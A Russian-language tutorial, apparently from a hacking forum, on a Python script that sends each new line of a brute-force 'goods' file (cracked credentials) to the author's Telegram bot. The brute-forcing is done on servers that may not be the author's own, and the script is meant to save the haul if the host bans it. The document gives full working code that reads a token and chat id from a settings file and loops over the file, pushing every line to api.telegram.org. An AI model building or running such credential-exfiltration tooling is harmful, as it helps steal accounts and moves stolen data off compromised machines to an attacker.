Отстук гудов с брута в телеграм с помощью Python.
Думаю есть люди которые занимаются брутом чего либо на своих или не совсем своих серверах. Если хостинг не абузоустойчивый то можно получить бан и потерять весь файл Гудов. Поэтому сегодня мы будем писать скрипт который будет отправлять нам каждую новую строку из файла с гудами в телеграм через бота. Начнём с импотра всего необходимого.
import requests import json
Теперь можем перейти к некоторым настройкам. Мы бы могли вносить данные токена и айди человека которому будут лететь гуды прямо в скрипт, но, тогда мы усложним себе задачу на тех машинах на которых нет питона. Поэтому мы создадим конфигурационный файл в формате json. Что бы прочесть с него информацию используем цикл with
with open('settings.json') as f: data = json.load(f)
Вот так будет выглядеть структура json файла. ("file": "НАЗВАНИЕ ФАЙЛА")
Далее проверим всё ли корректно отображается
print("your id: " + str(data["id"])) print("your token: " + str(data["token"]))
Затем мы сделаем немного штрихов для нашего удобства.
token = data["token"] URL = "https://api.telegram.org/bot" + token + "/"
Затем напишем функцию отправки сообщения на get запросе.
def send_message(chat_id, text="Good..."): url = URL + "sendmessage?chat_id={}&text={}&parse_mode=HTML".format(chat_id, text) requests.get(url)
В данную функцию мы будем передавать чат айди и сам текс.
Теперь нам осталось сделать лишь цикл который будет проверять новые строки.
f = data["file"] + ".txt" a = open(f, "r") arr = [] while True: for line in a: arr.append(line) send_message(data["id"], str(arr[-1])) print("Sending to Telegram: " + arr[-1])
Итак, сначала мы обозначаем файл, затем открываем его для чтения, создаём пустой массив и начинаем цикл добавления каждой строки в массив, соответственно каждая новая строка будет последним элементом в массиве, поэтому мы можем отправлять её.
Так же вы можете улучшить данный скрипт путём добавления диалогового окна с просьбой ввести токен, айди и путь до файла или его название. На данный момент скрипт с настройками необходимо кидать к файлу откуда он должен брать гуды. Так же можно сделать из обычного python скрипта исполняемый файл по средствам pyinstaller.
Полный листинг программы:
import requests import json with open('settings.json') as f: data = json.load(f) print("your id: " + str(data["id"])) print("your token: " + str(data["token"])) token = data["token"] URL = "https://api.telegram.org/bot" + token + "/" def send_message(chat_id, text="Good..."): url = URL + "sendmessage?chat_id={}&text={}&parse_mode=HTML".format(chat_id, text) requests.get(url) f = data["file"] + ".txt" a = open(f, "r") arr = [] while True: for line in a: arr.append(line) send_message(data["id"], str(arr[-1])) print("Sending to Telegram: " + arr[-1])
Мой код не идеален, вы можете его улучшить и модернизировать.